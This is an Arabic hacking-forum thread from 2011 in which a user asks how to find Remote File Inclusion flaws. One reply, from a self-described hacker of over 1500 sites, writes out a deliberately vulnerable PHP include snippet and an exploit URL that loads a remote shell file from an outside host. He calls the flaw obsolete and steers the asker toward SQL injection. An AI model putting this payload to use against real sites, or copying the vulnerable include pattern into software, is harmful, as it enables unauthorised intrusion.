أريد تعلم اكتشاف تغرة Remote File include

MadaRaXP · 08-26-2011, 01:23 AM

السلام عليكم ،،
على خطى ان من لا يتعلم هو المتكبر و المستحي ،،
اريد ان اتعلم يعني كيفية فحص السكريبتات و استخراج التغرة
و البداية مع remote File include
ان شاء الله من هنا اتعلم و يتعلم كل من لم يستطع ان يتشجع و يسأل ،،
فلا تبخلوا عليــنا

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #ff0000;"Cydv l[hf:VLspanC Hvd] jugl h;jaht jyvm Remote File include l,ru g;k hghojvhr hg],vm hgavp hojvhr hvd] hsjtshv hw]hv jugl injection ],vm ],vi vtu sdvtv avp s;vdfj php remote shell spiders sql sql injection ugl vbspiders virus xss tpw ikh i;v 'gf ;dtdm

bleu moon · 08-26-2011, 02:19 AM

http://www.vbspiders.com/vb/t22376.html

MadaRaXP · 08-26-2011, 06:36 AM

لا لا لا ،،
لقد شاهدت الدورة لكن انا اريد ان يرافقني احد في استفساري ،،،
يكون احسـن !!!

MadaRaXP · 08-26-2011, 05:01 PM

رفع للأعــلى ،،

ZrIqE ViRuS · 08-26-2011, 07:13 PM

شوف يا غالي تدور ع دوار الراس تطلب شرح هالثغره

بتعرف صدقني بجوز اخترقت اكثر من 1500 موقع
ولا واحد منهم بهاي الثغره .........!!!

هذا والله ورسوله شاهد على ما اقول

هذه الثغره فيك تسميها ثغره فقط في حال تغير تاريخ السنه وصار 2006

انا مش قصدي احبطك بس الان هاي الثغره صارت من الماضي ليش لانه كل السيرفرات مرقعه منها

فيك فقط تطبقها ع السيرفر الشخصي بتحمله بتخلي اصدار php تاع السيرفر الشخصي 4
وبتزرعها بهاد الكود البسيط داخل ملف php

<?php
include($volcano);
?>

والاستغلال للثغره اعلاه
filename.php?volcano=http://vbspiders.com/shell.txt?

وهون راح انت تسحب شل ع الموقع وتتمتع بالاختراق
لكن حقيقه ما عادت هاي الثغره تعمل نهائيا

فلا تتعب نفسك بها ولو بدك تتعلم هكر
بلش من دوره sql injection

موفق